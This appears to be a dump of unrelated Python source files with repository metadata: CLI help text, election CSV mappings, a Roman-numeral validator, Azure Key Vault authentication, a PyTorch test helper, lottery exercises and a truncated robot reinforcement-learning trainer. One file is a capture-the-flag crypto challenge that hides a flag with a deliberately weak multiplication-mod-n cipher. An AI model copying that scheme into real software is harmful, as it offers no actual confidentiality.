Usage: set manager led on [-h] -help; display the correct syntax """ def help_managerattentionledoff(self, commands): """ ledoff: This command turns attention led off. ================================================================= Usage: set manager led off [-h] -help; display the correct syntax """ def help_porton(self, commands): """ porton: This command turns the AC outlet power ON for the server/Port. ======================================================================= Usage: set manager port on -i {portid} -i -- portid, the target port id. Typically 1-48 [-h] -help; display the correct syntax """ def help_portoff(self, commands): """ portoff: This command turns the AC outlet power OFF for the server/Port. ======================================================================= Usage: set manager port off -i {portid} -i -- portid, the target port id. Typically 1-48 [-h] -help; display the correct syntax """ def help_portstate(self, commands): """ portstate: This command gets the AC outlet power ON/OFF state of servers/Ports (whether or not the servers are receiving AC power). =========================================================================== Usage: show manager port state -i {portid} -i -- portid, the target server number. Typically 1-48 [-h] -help; display the correct syntax """ ################################################################################################################ # USER Help Commands ################################################################################################################ def help_user(self,commands): """ Ocscli User "show" Commands : ======================================================= info Ocscli User "set" Commands: ======================================================== add update delete """ def help_display(self, commands): """ info: This command lists user properties. ============================================================ Usage: show user info -u {username} -r {role} -u -- username, if type is users, filter by users -r -- role, if type is role, filter users by role [-h] -help; display the correct syntax """ def help_add(self, commands): """ add: This command adds a new user. ============================================================ Usage: set user add -u {username} -p {password} -r {role} -u -- username -p -- password -r -- role, {admin, operator, user} [-h] -help; display the correct syntax """ def help_update(self, commands): """ update: This command updates password or role. ============================================================ Usage: set user update -t {type} -u {username} -p {new password} -r {new role} -t -- type, select password or role to update -u -- username, select user to update -p -- new password, if type is password, new password -r -- new role, if type is role, new role [-h] -help; display the correct syntax """ def help_delete(self, commands): """ delete: This command deletes a user. ============================================================ Usage: set user delete -u {username} -u -- username, username of user to delete [-h] -help; display the correct syntax """ ################################################################################################################ # OcsPower Help Commands ################################################################################################################ def help_systempowerlimit(self, commands): """ Show: limit: Shows the power limit for a server ======================================================= Usage: show system power limit -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax ######################################################## Set: limit: Sets the power limit for a server ======================================================= Usage: set system power limit -i {serverid} -l {powerlimit} -i -- serverid, the target server number. Typically 1-48 -l -- Power limit per server in watts [-h] -help; display the correct syntax """ def help_systempowerreading(self, commands): """ reading: Shows the power reading for a server ======================================================== Usage: show system power reading -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax """ def help_systempowerlimiton(self, commands): """ limiton: Activates the powerlimit for a server, and enables power throttling. ================================================================== Usage: set system power limiton -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax """ def help_systempowerlimitoff(self, commands): """ limitoff: Desctivates the powerlimit for a server, and disables power throttling. ======================================================================= Usage: set system power limitoff -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax """ def help_systempoweralertpolicy(self, commands): """ Show: alertpolicy: Shows the server power alert policy ===================================================== Usage: show system power alertpolicy -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax ######################################################## Set: alertpolicy: Sets the power alert policy for a server ========================================================== Usage: set system power alertpolicy -i {serverid} -p {powerlimit} -e {alertaction} -r {remediationaction} -f {throttleduration} -d {removedelay} -i -- serverid, the target server number. Typically 1-48 -p -- Power limit per server in watts -e -- Alert action (0:nothing, 1:throttle, 2:fastthrottle) -r -- Remediation action (0:nothing, 1:remove limit and rearm alert, 2:rearm alert) -f -- Throttle Duration, Fast throttle duration in milliseconds -d -- Remove Delay, Auto remove power limit delay in seconds [-h] -help; display the correct syntax """ def help_systemthrottlingstatistics(self, commands): """ throttlingstatistics: Shows the server throttling statistics ============================================================ Usage: show system power throttlingstatistics -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax """ def help_managerpoweralertpolicy(self, commands): """ Show: alertpolicy: This command returns the manager power alert policy. ====================================================================== Usage: show manager power alertpolicy [-h] -help; display the correct syntax Set: alertpolicy: This command sets the manager power alert policy. ====================================================================== Usage: set manager power alertpolicy -e {policy} -p {powerlimit} -e --policy, the power alert policy setting {0:disable, 1:enable} -p --powerlimit, the power limit value in watts [-h] -help; display the correct syntax """ def help_managerpowerlimitpolicy(self, commands): """ Show: limitpolicy: This command returns the manager power limit policy. ======================================================================= Usage: show manager power limitpolicy [-h] -help; display the correct syntax Set: limitpolicy: This command sets the manager power limit policy. ======================================================================= Usage: set manager power limitpolicy -p {powerlimit} -p --powerlimit, the power limit value in watts [-h] -help; display the correct syntax """ def help_managerpowerreading(self, commands): """ reading: This command returns manager power statistics. ================================================================= Usage: show manager power reading [-h] -help; display the correct syntax """ def help_managerpruversion(self, commands): """ pruversion: This command returns the manager pru version. ================================================================= Usage: show manager power pruversion [-h] -help; display the correct syntax """ def help_managerclearmaxpower(self, commands): """ clearmaxpower: This command clears max manager power. ================================================================= Usage: set manager power clearmaxpower [-h] -help; display the correct syntax """ def help_managerclearpowerfaults(self, commands): """ clearfaults: This command clears manager feed power faults. ================================================================= Usage: set manager power clearfaults [-h] -help; display the correct syntax """
37.549531
117
0.468148
a14126dee8fc2cc2efd0dbc94b59b341f938d3ef
6,268
py
Python
src/onegov/election_day/import_export/mappings.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/election_day/import_export/mappings.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/election_day/import_export/mappings.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
""" Following mappings should be used to map csv headers and database columns for import and export. Keys are the columns from the CSV Files, values are col names returned by database query. For complex queries, it is much better to write them in pure sql. Return the table as named tuples and work with that and this mapping. """ # --- INTERNAL INTERNAL_COMMON_ELECTION_HEADERS = ( 'election_status', 'entity_id', 'entity_counted', 'entity_eligible_voters', 'entity_received_ballots', 'entity_blank_ballots', 'entity_invalid_ballots', 'entity_blank_votes', 'entity_invalid_votes', 'candidate_family_name', 'candidate_first_name', 'candidate_id', 'candidate_elected', 'candidate_votes', 'candidate_party', ) INTERNAL_PROPORZ_HEADERS = ( *INTERNAL_COMMON_ELECTION_HEADERS, 'list_name', 'list_id', 'list_number_of_mandates', 'list_votes', 'list_connection', 'list_connection_parent', ) INTERNAL_MAJORZ_HEADERS = ( *INTERNAL_COMMON_ELECTION_HEADERS, 'election_absolute_majority', ) ELECTION_PARTY_HEADERS = ( 'year', 'total_votes', 'name', 'id', 'color', 'mandates', 'votes', ) WABSTI_MAJORZ_HEADERS = ( 'anzmandate', # 'absolutesmehr' optional 'bfs', 'stimmber', # 'stimmabgegeben' or 'wzabgegeben' # 'wzleer' or 'stimmleer' # 'wzungueltig' or 'stimmungueltig' ) WABSTI_MAJORZ_HEADERS_CANDIDATES = ( 'kandid', ) WABSTI_PROPORZ_HEADERS = ( 'einheit_bfs', 'liste_kandid', 'kand_nachname', 'kand_vorname', 'liste_id', 'liste_code', 'kand_stimmentotal', 'liste_parteistimmentotal', ) WABSTI_PROPORZ_HEADERS_CONNECTIONS = ( 'liste', 'lv', 'luv', ) WABSTI_PROPORZ_HEADERS_CANDIDATES = ( 'liste_kandid', ) WABSTI_PROPORZ_HEADERS_STATS = ( 'einheit_bfs', 'einheit_name', 'stimbertotal', 'wzeingegangen', 'wzleer', 'wzungueltig', 'stmwzveraendertleeramtlleer', ) WABSTIC_MAJORZ_HEADERS_WM_WAHL = ( 'sortgeschaeft', # provides the link to the election 'absolutesmehr', # absolute majority 'anzpendentgde', # status ) WABSTIC_MAJORZ_HEADERS_WMSTATIC_GEMEINDEN = ( 'sortwahlkreis', # provides the link to the election 'sortgeschaeft', # provides the link to the election 'bfsnrgemeinde', # BFS 'stimmberechtigte', # eligible votes ) WABSTIC_MAJORZ_HEADERS_WM_GEMEINDEN = ( 'bfsnrgemeinde', # BFS 'stimmberechtigte', # eligible votes 'sperrung', # counted 'stmabgegeben', # received ballots 'stmleer', # blank ballots 'stmungueltig', # invalid ballots 'stimmenleer', # blank votes 'stimmenungueltig', # invalid votes ) WABSTIC_MAJORZ_HEADERS_WM_KANDIDATEN = ( 'sortgeschaeft', # provides the link to the election 'knr', # candidate id 'nachname', # familiy name 'vorname', # first name 'gewaehlt', # elected 'partei', # ) WABSTIC_MAJORZ_HEADERS_WM_KANDIDATENGDE = ( 'sortgeschaeft', # provides the link to the election 'bfsnrgemeinde', # BFS 'knr', # candidate id 'stimmen', # votes ) WABSTIC_PROPORZ_HEADERS_WP_WAHL = ( 'sortgeschaeft', # provides the link to the election 'anzpendentgde', # status ) WABSTIC_PROPORZ_HEADERS_WPSTATIC_GEMEINDEN = ( 'sortwahlkreis', # provides the link to the election 'sortgeschaeft', # provides the link to the election 'bfsnrgemeinde', # BFS 'stimmberechtigte', # eligible votes ) WABSTIC_PROPORZ_HEADERS_WP_GEMEINDEN = ( 'bfsnrgemeinde', # BFS 'stimmberechtigte', # eligible votes 'sperrung', # counted 'stmabgegeben', # received ballots 'stmleer', # blank ballots 'stmungueltig', # invalid ballots 'anzwzamtleer', # blank ballots ) WABSTIC_PROPORZ_HEADERS_WP_LISTEN = ( 'sortgeschaeft', # provides the link to the election 'listnr', 'listcode', 'sitze', 'listverb', 'listuntverb', ) WABSTIC_PROPORZ_HEADERS_WP_LISTENGDE = ( 'bfsnrgemeinde', # BFS 'listnr', 'stimmentotal', ) WABSTIC_PROPORZ_HEADERS_WPSTATIC_KANDIDATEN = ( 'sortgeschaeft', # provides the link to the election 'knr', # candidate id 'nachname', # familiy name 'vorname', # first name ) WABSTIC_PROPORZ_HEADERS_WP_KANDIDATEN = ( 'sortgeschaeft', # provides the link to the election 'knr', # candidate id 'gewaehlt', # elected ) WABSTIC_PROPORZ_HEADERS_WP_KANDIDATENGDE = ( 'bfsnrgemeinde', # BFS 'knr', # candidate id 'stimmen', # votes ) # VOTES DEFAULT_VOTE_HEADER = ( 'id', 'ja stimmen', 'nein stimmen', 'Stimmberechtigte', 'leere stimmzettel', 'ungültige stimmzettel' ) INTERNAL_VOTE_HEADERS = ( 'status', 'type', 'entity_id', 'counted', 'yeas', 'nays', 'invalid', 'empty', 'eligible_voters', ) WABSTI_VOTE_HEADERS = ( 'vorlage-nr.', 'bfs-nr.', 'stimmberechtigte', 'leere sz', 'ungultige sz', 'ja', 'nein', 'gegenvja', 'gegenvnein', 'stichfrja', 'stichfrnein', 'stimmbet', ) WABSTIC_VOTE_HEADERS_SG_GESCHAEFTE = ( 'art', # domain 'sortwahlkreis', 'sortgeschaeft', # vote number 'ausmittlungsstand', # for status, old 'anzgdependent' # for status, new ) WABSTIC_VOTE_HEADERS_SG_GEMEINDEN = ( 'art', # domain 'sortwahlkreis', 'sortgeschaeft', # vote number 'bfsnrgemeinde', # BFS 'sperrung', # counted 'stimmberechtigte', # eligible votes 'stmungueltig', # invalid 'stmleer', # empty (proposal if simple) 'stmhgja', # yeas (proposal) 'stmhgnein', # nays (proposal) 'stmhgohneaw', # empty (proposal if complex) 'stmn1ja', # yeas (counter-proposal) 'stmn1nein', # nays (counter-proposal) 'stmn1ohneaw', # empty (counter-proposal) 'stmn2ja', # yeas (tie-breaker) 'stmn2nein', # nays (tie-breaker) 'stmn2ohneaw', # empty (tie-breaker) ) WABSTIM_VOTE_HEADERS = ( 'freigegeben', 'stileer', 'stiungueltig', 'stijahg', 'stineinhg', 'stiohneawhg', 'stijan1', 'stineinn1', 'stiohneawN1', 'stijan2', 'stineinn2', 'stiohneawN2', 'stimmberechtigte', 'bfs', )
22.14841
73
0.650766
a1c7272e54f7d623c71ac1264cc2f213a4e257cf
1,367
py
Python
PYTHON/Regex_and_Parsing/validating_roman_numerals.py
byung-u/HackerRank
4c02fefff7002b3af774b99ebf8d40f149f9d163
[ "MIT" ]
null
null
null
PYTHON/Regex_and_Parsing/validating_roman_numerals.py
byung-u/HackerRank
4c02fefff7002b3af774b99ebf8d40f149f9d163
[ "MIT" ]
null
null
null
PYTHON/Regex_and_Parsing/validating_roman_numerals.py
byung-u/HackerRank
4c02fefff7002b3af774b99ebf8d40f149f9d163
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import re romanNumeralMap = (('M', 1000), ('CM', 900), ('D', 500), ('CD', 400), ('C', 100), ('XC', 90), ('L', 50), ('XL', 40), ('X', 10), ('IX', 9), ('V', 5), ('IV', 4), ('I', 1)) romanNumeralPattern = re.compile(""" ^ # beginning of string M{0,4} # thousands - 0 to 4 M's (CM|CD|D?C{0,3}) # hundreds - 900 (CM), 400 (CD), 0-300 (0 to 3 C's), # or 500-800 (D, followed by 0 to 3 C's) (XC|XL|L?X{0,3}) # tens - 90 (XC), 40 (XL), 0-30 (0 to 3 X's), # or 50-80 (L, followed by 0 to 3 X's) (IX|IV|V?I{0,3}) # ones - 9 (IX), 4 (IV), 0-3 (0 to 3 I's), # or 5-8 (V, followed by 0 to 3 I's) $ # end of string """ ,re.VERBOSE) x = input() if romanNumeralPattern.search(x) is None: print('False') else: cost, index = 0, 0 for numeral, integer in romanNumeralMap: while x[index:index+len(numeral)] == numeral: cost += integer index += len(numeral) print(bool(cost > 0 and cost < 4000))
34.175
76
0.374543
3dd29ab89e3c8e03e7b24a187f4319d598092a16
11,209
py
Python
azext_keyvault/keyvault/custom/key_vault_authentication.py
jdmartinez36/azure-keyvault-cli-extension
4dc674b9c30cac13e27347782c49b3ed7dca2e2f
[ "MIT" ]
2
2019-06-12T13:44:34.000Z
2020-06-01T13:24:04.000Z
azext_keyvault/keyvault/custom/key_vault_authentication.py
jdmartinez36/azure-keyvault-cli-extension
4dc674b9c30cac13e27347782c49b3ed7dca2e2f
[ "MIT" ]
5
2018-04-26T01:14:29.000Z
2021-01-05T00:45:39.000Z
azext_keyvault/keyvault/custom/key_vault_authentication.py
jdmartinez36/azure-keyvault-cli-extension
4dc674b9c30cac13e27347782c49b3ed7dca2e2f
[ "MIT" ]
8
2018-04-24T22:52:48.000Z
2021-11-16T06:29:28.000Z
#--------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. #--------------------------------------------------------------------------------------------- import threading import requests import inspect from collections import namedtuple from requests.auth import AuthBase from requests.cookies import extract_cookies_to_jar from .http_challenge import HttpChallenge from . import http_bearer_challenge_cache as ChallengeCache from msrest.authentication import OAuthTokenAuthentication from .http_message_security import HttpMessageSecurity from .internal import _RsaKey AccessToken = namedtuple('AccessToken', ['scheme', 'token', 'key']) AccessToken.__new__.__defaults__ = ('Bearer', None, None) _message_protection_supported_methods = ['sign', 'verify', 'encrypt', 'decrypt', 'wrapkey', 'unwrapkey'] def _message_protection_supported(challenge, request): # right now only specific key operations are supported so return true only # if the vault supports message protection, the request is to the keys collection # and the requested operation supports it return challenge.supports_message_protection() \ and '/keys/' in request.url \ and request.url.split('?')[0].strip('/').split('/')[-1].lower() in _message_protection_supported_methods class KeyVaultAuthBase(AuthBase): """ Used for handling authentication challenges, by hooking into the request AuthBase extension model. """ def __init__(self, authorization_callback): """ Creates a new KeyVaultAuthBase instance used for handling authentication challenges, by hooking into the request AuthBase extension model. :param authorization_callback: A callback used to provide authentication credentials to the key vault data service. This callback should take four str arguments: authorization uri, resource, scope, and scheme, and return an AccessToken return AccessToken(scheme=token['token_type'], token=token['access_token']) Note: for backward compatibility a tuple of the scheme and token can also be returned. return token['token_type'], token['access_token'] """ self._user_callback = authorization_callback self._callback = self._auth_callback_compat self._token = None self._thread_local = threading.local() self._thread_local.pos = None self._thread_local.auth_attempted = False self._thread_local.orig_body = None # for backwards compatibility we need to support callbacks which don't accept the scheme def _auth_callback_compat(self, server, resource, scope, scheme): return self._user_callback(server, resource, scope) \ if len(inspect.getargspec(self._user_callback).args) == 3 \ else self._user_callback(server, resource, scope, scheme) def __call__(self, request): """ Called prior to requests being sent. :param request: Request to be sent :return: returns the original request, registering hooks on the response if it is the first time this url has been called and an auth challenge might be returned """ # attempt to pre-fetch challenge if cached if self._callback: challenge = ChallengeCache.get_challenge_for_url(request.url) if challenge: # if challenge cached get the message security security = self._get_message_security(request, challenge) # protect the request security.protect_request(request) # register a response hook to unprotect the response request.register_hook('response', security.unprotect_response) else: # if the challenge is not cached we will strip the body and proceed without the auth header so we # get back the auth challenge for the request self._thread_local.orig_body = request.body request.body = '' request.headers['Content-Length'] = 0 request.register_hook('response', self._handle_401) request.register_hook('response', self._handle_redirect) self._thread_local.auth_attempted = False return request def _handle_redirect(self, r, **kwargs): """Reset auth_attempted on redirects.""" if r.is_redirect: self._thread_local.auth_attempted = False def _handle_401(self, response, **kwargs): """ Takes the response authenticates and resends if neccissary :return: The final response to the authenticated request :rtype: requests.Response """ # If response is not 401 do not auth and return response if not response.status_code == 401: self._thread_local.auth_attempted = False return response # If we've already attempted to auth for this request once, do not auth and return response if self._thread_local.auth_attempted: self._thread_local.auth_attempted = False return response auth_header = response.headers.get('www-authenticate', '') # Otherwise authenticate and retry the request self._thread_local.auth_attempted = True # parse the challenge challenge = HttpChallenge(response.request.url, auth_header, response.headers) # bearer and PoP are the only authentication schemes supported at this time # if the response auth header is not a bearer challenge or pop challange do not auth and return response if not (challenge.is_bearer_challenge() or challenge.is_pop_challenge()): self._thread_local.auth_attempted = False return response # add the challenge to the cache ChallengeCache.set_challenge_for_url(response.request.url, challenge) # Consume content and release the original connection # to allow our new request to reuse the same one. response.content response.close() # copy the request to resend prep = response.request.copy() if self._thread_local.orig_body is not None: # replace the body with the saved body prep.prepare_body(data=self._thread_local.orig_body, files=None) extract_cookies_to_jar(prep._cookies, response.request, response.raw) prep.prepare_cookies(prep._cookies) security = self._get_message_security(prep, challenge) # auth and protect the prepped request message security.protect_request(prep) # resend the request with proper authentication and message protection _response = response.connection.send(prep, **kwargs) _response.history.append(response) _response.request = prep # unprotected the response security.unprotect_response(_response) return _response def _get_message_security(self, request, challenge): scheme = challenge.scheme # if the given request can be protected ensure the scheme is PoP so the proper access token is requested if _message_protection_supported(challenge, request): scheme = 'PoP' # use the authentication_callback to get the token and create the message security token = AccessToken(*self._callback(challenge.get_authorization_server(), challenge.get_resource(), challenge.get_scope(), scheme)) security = HttpMessageSecurity(client_security_token=token.token) # if the given request can be protected add the appropriate keys to the message security if scheme == 'PoP': security.client_signature_key = token.key security.client_encryption_key = _RsaKey.generate() security.server_encryption_key = _RsaKey.from_jwk_str(challenge.server_encryption_key) security.server_signature_key = _RsaKey.from_jwk_str(challenge.server_signature_key) return security class KeyVaultAuthentication(OAuthTokenAuthentication): """ Authentication class to be used as credentials for the KeyVaultClient. :Example Usage: def auth_callack(server, resource, scope): self.data_creds = self.data_creds or ServicePrincipalCredentials(client_id=self.config.client_id, secret=self.config.client_secret, tenant=self.config.tenant_id, resource=resource) token = self.data_creds.token return token['token_type'], token['access_token'] self.keyvault_data_client = KeyVaultClient(KeyVaultAuthentication(auth_callack)) """ def __init__(self, authorization_callback=None, credentials=None): """ Creates a new KeyVaultAuthentication instance used for authentication in the KeyVaultClient :param authorization_callback: A callback used to provide authentication credentials to the key vault data service. This callback should take three str arguments: authorization uri, resource, and scope, and return a tuple of (token type, access token). :param credentials:: Credentials needed for the client to connect to Azure. :type credentials: :mod:`A msrestazure Credentials object<msrestazure.azure_active_directory>` """ if not authorization_callback and not credentials: raise ValueError("Either parameter 'authorization_callback' or parameter 'credentials' must be specified.") # super(KeyVaultAuthentication, self).__init__() self._credentials = credentials if not authorization_callback: def auth_callback(server, resource, scope, scheme): if self._credentials.resource != resource: self._credentials.resource = resource self._credentials.set_token() token = self._credentials.token return AccessToken(scheme=token['token_type'], token=token['access_token'], key=None) authorization_callback = auth_callback self.auth = KeyVaultAuthBase(authorization_callback) self._callback = authorization_callback def signed_session(self, session=None): session = session or requests.Session() session.auth = self.auth return session def refresh_session(self): """Return updated session if token has expired, attempts to refresh using refresh token. :rtype: requests.Session. """ if self._credentials: self._credentials.refresh_session() return self.signed_session()
45.938525
137
0.65385
b17998560eadde2b617f54f4f8c38b012fd4d717
205
py
Python
crypto/crypto-srsa/src/script.py
NoXLaw/RaRCTF2021-Challenges-Public
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
[ "MIT" ]
2
2021-08-09T17:08:12.000Z
2021-08-09T17:08:17.000Z
crypto/crypto-srsa/src/script.py
NoXLaw/RaRCTF2021-Challenges-Public
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
[ "MIT" ]
null
null
null
crypto/crypto-srsa/src/script.py
NoXLaw/RaRCTF2021-Challenges-Public
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
[ "MIT" ]
1
2021-10-09T16:51:56.000Z
2021-10-09T16:51:56.000Z
from Crypto.Util.number import * p = getPrime(256) q = getPrime(256) n = p * q e = 0x69420 flag = bytes_to_long(open("flag.txt", "rb").read()) print("n =",n) print("e =", e) print("ct =",(flag * e) % n)
17.083333
51
0.595122
77381c0d769d2eab87ed55e88da57e456eef7dfd
4,593
py
Python
torch/testing/_internal/opinfo_helper.py
vuanvin/pytorch
9267fd8d7395074001ad7cf2a8f28082dbff6b0b
[ "Intel" ]
183
2018-04-06T21:10:36.000Z
2022-03-30T15:05:24.000Z
torch/testing/_internal/opinfo_helper.py
vuanvin/pytorch
9267fd8d7395074001ad7cf2a8f28082dbff6b0b
[ "Intel" ]
818
2020-02-07T02:36:44.000Z
2022-03-31T23:49:44.000Z
torch/testing/_internal/opinfo_helper.py
vuanvin/pytorch
9267fd8d7395074001ad7cf2a8f28082dbff6b0b
[ "Intel" ]
58
2018-06-05T16:40:18.000Z
2022-03-16T15:37:29.000Z
import collections import warnings from functools import partial import torch from torch.testing._internal.common_cuda import (TEST_CUDA) from torch.testing._internal.common_dtype import ( all_types_and_complex_and, all_types_and_complex, all_types_and_half, all_types, complex_types, floating_and_complex_types, floating_types_and_half, floating_types, integral_types, floating_types_and, floating_and_complex_types_and, integral_types_and, all_types_and, _dispatch_dtypes, ) COMPLETE_DTYPES_DISPATCH = ( all_types, all_types_and_complex, all_types_and_half, floating_types, floating_and_complex_types, floating_types_and_half, integral_types, complex_types, ) EXTENSIBLE_DTYPE_DISPATCH = ( all_types_and_complex_and, floating_types_and, floating_and_complex_types_and, integral_types_and, all_types_and, ) # Better way to acquire devices? DEVICES = ['cpu'] + (['cuda'] if TEST_CUDA else []) class _dynamic_dispatch_dtypes(_dispatch_dtypes): # Class to tag the dynamically generated types. pass def get_supported_dtypes(op, sample_inputs_fn, device_type): # Returns the supported dtypes for the given operator and device_type pair. assert device_type in ['cpu', 'cuda'] if not TEST_CUDA and device_type == 'cuda': warnings.warn("WARNING: CUDA is not available, empty_dtypes dispatch will be returned!") return _dynamic_dispatch_dtypes(()) supported_dtypes = set() for dtype in all_types_and_complex_and(torch.bool, torch.bfloat16, torch.half): try: samples = sample_inputs_fn(op, device_type, dtype, False) except RuntimeError: # If `sample_inputs_fn` doesn't support sampling for a given # `dtype`, we assume that the `dtype` is not supported. # We raise a warning, so that user knows that this was the case # and can investigate if there was an issue with the `sample_inputs_fn`. warnings.warn(f"WARNING: Unable to generate sample for device:{device_type} and dtype:{dtype}") continue # We assume the dtype is supported # only if all samples pass for the given dtype. supported = True for sample in samples: try: op(sample.input, *sample.args, **sample.kwargs) except RuntimeError as re: # dtype is not supported supported = False break if supported: supported_dtypes.add(dtype) return _dynamic_dispatch_dtypes(supported_dtypes) def dtypes_dispatch_hint(dtypes): # Function returns the appropriate dispatch function (from COMPLETE_DTYPES_DISPATCH and EXTENSIBLE_DTYPE_DISPATCH) # and its string representation for the passed `dtypes`. return_type = collections.namedtuple('return_type', 'dispatch_fn dispatch_fn_str') # CUDA is not available, dtypes will be empty. if len(dtypes) == 0: return return_type((), str(tuple())) set_dtypes = set(dtypes) for dispatch in COMPLETE_DTYPES_DISPATCH: # Short circuit if we get an exact match. if set(dispatch()) == set_dtypes: return return_type(dispatch, dispatch.__name__ + "()") chosen_dispatch = None chosen_dispatch_score = 0. for dispatch in EXTENSIBLE_DTYPE_DISPATCH: dispatch_dtypes = set(dispatch()) if not dispatch_dtypes.issubset(set_dtypes): continue score = len(dispatch_dtypes) if score > chosen_dispatch_score: chosen_dispatch_score = score chosen_dispatch = dispatch # If user passed dtypes which are lower than the lowest # dispatch type available (not likely but possible in code path). if chosen_dispatch is None: return return_type((), str(dtypes)) return return_type(partial(dispatch, *tuple(set(dtypes) - set(dispatch()))), dispatch.__name__ + str(tuple(set(dtypes) - set(dispatch())))) def is_dynamic_dtype_set(op): # Detect if the OpInfo entry acquired dtypes dynamically # using `get_supported_dtypes`. return op.dynamic_dtypes def str_format_dynamic_dtype(op): fmt_str = """ OpInfo({name}, dtypes={dtypes}, dtypesIfCUDA={dtypesIfCUDA}, ) """.format(name=op.name, dtypes=dtypes_dispatch_hint(op.dtypes).dispatch_fn_str, dtypesIfCUDA=dtypes_dispatch_hint(op.dtypesIfCUDA).dispatch_fn_str) return fmt_str
32.807143
118
0.680819
ce0717d21a57e8c90d118dcbaf646efe132c19e2
1,396
py
Python
___Python/Angela/PyKurs/p05_random/m01_wuerfel.py
uvenil/PythonKurs201806
85afa9c9515f5dd8bec0c546f077d8cc39568fe8
[ "Apache-2.0" ]
null
null
null
___Python/Angela/PyKurs/p05_random/m01_wuerfel.py
uvenil/PythonKurs201806
85afa9c9515f5dd8bec0c546f077d8cc39568fe8
[ "Apache-2.0" ]
null
null
null
___Python/Angela/PyKurs/p05_random/m01_wuerfel.py
uvenil/PythonKurs201806
85afa9c9515f5dd8bec0c546f077d8cc39568fe8
[ "Apache-2.0" ]
null
null
null
import random r = random.Random() #Modul random mit Klasse Random, r=Wuerfel def wuerfeln(): return r.randint(1, 6) def lotto(): return r.randint(1, 49) def muenzwurf(): return r.randint(0, 1) # 0 = Kopf, 1 = Zahl def wuerfeln2(): return muenzwurf() print(wuerfeln()) # Test auf Wahrscheinlichkeitsverteilung d = {} for i in range(100000): augenzahl = wuerfeln() if augenzahl in d: d[augenzahl] += 1 else: d[augenzahl] = 1 print(d) # 1) Lottozahlen 6 aus 49 ermitteln # Lösung a) l = [] kugel = 0 while kugel < 6: lottozahl = lotto() if not lottozahl in l: l.append(lottozahl) kugel += 1 print(sorted(l)) # Lösung b) urne = list(range(1, 50)) # urne = [1, 2, ..., 49] lottoziehung = [] for i in range(6): ziehung = urne.pop(r.randint(0, len(urne)) - 1) lottoziehung.append(ziehung) print(sorted(lottoziehung)) # Lösung c) Geeignete Methode aus random benutzen lottoziehung = r.sample(range(1, 50), 6) print(sorted(lottoziehung)) # 2) Schreibe eine Funktion wuerfeln2, die fair wuerfelt. # Bei der Implementierung darf nur die Funktion muenzwurf benutzt werden def wuerfeln2(): binaer = 1 for i in range(3): binaer += 2 ** i * muenzwurf() if binaer > 6: return wuerfeln2() return binaer
19.388889
73
0.600287
022558bdb423fa46e181a551757ee457d161c7dd
6,608
py
Python
src/pepper_ddpg_online_trainer.py
Cibah/Pepper_RL
a105aead34c74ac8c49fa058ee1613f578bcde41
[ "MIT" ]
null
null
null
src/pepper_ddpg_online_trainer.py
Cibah/Pepper_RL
a105aead34c74ac8c49fa058ee1613f578bcde41
[ "MIT" ]
null
null
null
src/pepper_ddpg_online_trainer.py
Cibah/Pepper_RL
a105aead34c74ac8c49fa058ee1613f578bcde41
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ """ import tensorflow as tf import numpy as np import tflearn from ddpg.ddpg import build_summaries, ActorNetwork, CriticNetwork, OrnsteinUhlenbeckActionNoise, ReplayBuffer, \ getReward from src.BallTracker import ballTracker from src.Pepper import Pepper from src.Pepper.Pepper import readAngle from src.Settings import * # =========================== # Agent Training # =========================== def train(sess, session, thread, args, actor, critic, actor_noise, update_model, saver): # Set up summary Ops summary_ops, summary_vars = build_summaries() if update_model == False: sess.run(tf.global_variables_initializer()) # Initialize target network weights actor.update_target_network() critic.update_target_network() writer = tf.summary.FileWriter(args['summary_dir'], sess.graph) # Initialize replay memory replay_buffer = ReplayBuffer(int(args['buffer_size']), int(args['random_seed'])) # Needed to enable BatchNorm. # This hurts the performance on Pendulum but could be useful # in other environments. tflearn.is_training(True) for i in range(int(args['max_episodes'])): # s = env.reset() ep_reward = 0 ep_ave_max_q = 0 for j in range(int(args['max_episode_len'])): service = session.service("ALMotion") params = dict() # Hole Anfangszustand delta1 = thread.delta[0] winkel1 = readAngle(session) s = [winkel1, delta1] # Hole action a = actor.predict(np.reshape(s, (1, 2))) + (1. / (1. + i)) # ITERATE THORUGH SAMPLED DATA AND ADD TO REPLAY BUFFER a = actor.predict(np.reshape(s, (1, actor.s_dim))) + actor_noise() # a[0] = ((a[0] - (1 - action_bound)) / (action_bound - (1 - action_bound))) * ( # OBERE_GRENZE - UNTERE_GRENZE) + UNTERE_GRENZE # a[0] = a[0] rewardTMP = 0 if a[0] < UNTERE_GRENZE: # print("Winkel zu klein :" + str(a[0])) a[0] = UNTERE_GRENZE rewardTMP = -1000 if a[0] > OBERE_GRENZE: # print("Winkel zu gross :" + str(a[0])) a[0] = OBERE_GRENZE rewardTMP = -1000 # Fuehre Action aus params[args['motor']] = [a[0], TIME_TO_MOVE] Pepper.move(params, service) # Hole Folgezustand delta2 = thread.delta[0] winkel2 = readAngle(session) s2 = [winkel2, delta2] # Hole Reward r = getReward(delta2) + rewardTMP terminal = False print(str(a[0]) + "\t" + str( r)) replay_buffer.add(np.reshape(s, (actor.s_dim,)), np.reshape(a, (actor.a_dim,)), r, terminal, np.reshape(s2, (actor.s_dim,))) # export actor Model somewhere # Keep adding experience to the memory until # there are at least minibatch size samples if replay_buffer.size() > int(args['minibatch_size']): s_batch, a_batch, r_batch, t_batch, s2_batch = \ replay_buffer.sample_batch(int(args['minibatch_size'])) # Calculate targets target_q = 